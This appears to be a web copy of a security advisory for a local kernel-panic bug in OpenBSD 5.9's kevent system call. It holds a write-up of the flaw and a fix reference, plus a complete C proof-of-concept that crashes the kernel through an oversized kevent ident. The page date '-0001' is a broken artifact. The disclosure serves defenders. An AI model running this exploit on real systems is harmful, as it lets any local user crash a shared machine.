OpenBSD 5.9 kernel panic through the kevent system call.
Posted on 30 November -0001
<HTML><HEAD><TITLE>OpenBSD 5.9 kernel panic through the kevent system call.</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>/* * kevent_panic.c * Demonstrate a panic through the kevent system call. * * gcc -g kevent_panic.c -o kevent_panic */ #ifdef BUG_WRITEUP //--------------------------------------------------- kevent with large ident can lead to a panic Impact: Any logged in user can use kevent to panic the kernel. Description: When processing a kevent system call, kqueue_register() is called for each of the changes in the user-provided change list. When processing changes with a filter of EVFILT_READ, kqueue_register() creates a new knote, attaches the user-provided kevent (the change) to it, and calls knote_attach(). This function resizes an internal fdp->fd_knlist based on the value stored in kn->kn_id (which is really kn->kn_kevent->ident). This field is from the user-provided kn->kn_kevent value and can be arbitrary. The relevant code is: if (fdp->fd_knlistsize <= kn->kn_id) { size = fdp->fd_knlistsize; while (size <= kn->kn_id) size += KQEXTENT; list = mallocarray(size, sizeof(struct klist), M_TEMP, M_WAITOK); If the original ident value is overly large, the value of "size" will be correspondingly large, and can trigger an assertion in mallocarray(). This can be abused by any user to cause a kernel panic. Reproduction: Run the attached kevent_panic.c program. It will cause a panic such as "panic: mallocarray: overflow 18446744071562067968 * 8". (Here the value 18446744071562067968 is ffff.ffff.8000.0000 and was caused by sign-extension of the "int size" variable when passing it in to the "size_t nmemb" argument of mallocarra()). NCC Group was able to reproduce this issue on OpenBSD 5.9 release running amd64. Recommendation: Validate the ident field of items in the change list. Return an error when adding a change with an overly large ident field. This can be done in knote_attach() or earlier in kqueue_register() or sys_kevent(). Reported: 2016-07-13 Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/kern_event.c.diff?r1=1.72&r2=1.73 http://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/019_kevent.patch.sig http://ftp.openbsd.org/pub/OpenBSD/patches/5.8/common/022_kevent.patch.sig #endif // BUG_WRITEUP --------------------------------------------------- #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/types.h> #include <sys/event.h> void xperror(int cond, char *msg) { if(cond) { perror(msg); exit(1); } } int main(int argc, char **argv) { struct kevent chlist[1]; int x, kq; kq = kqueue(); xperror(kq == -1, "kqueue"); memset(chlist, 0, 1 * sizeof chlist[0]); chlist[0].ident = 0x20000000000000; chlist[0].filter = EVFILT_READ; chlist[0].flags = EV_ADD; x = kevent(kq, chlist, 1, 0, 0, 0); xperror(x == -1, "kevent"); printf("no crash! "); return 0; } </BODY></HTML>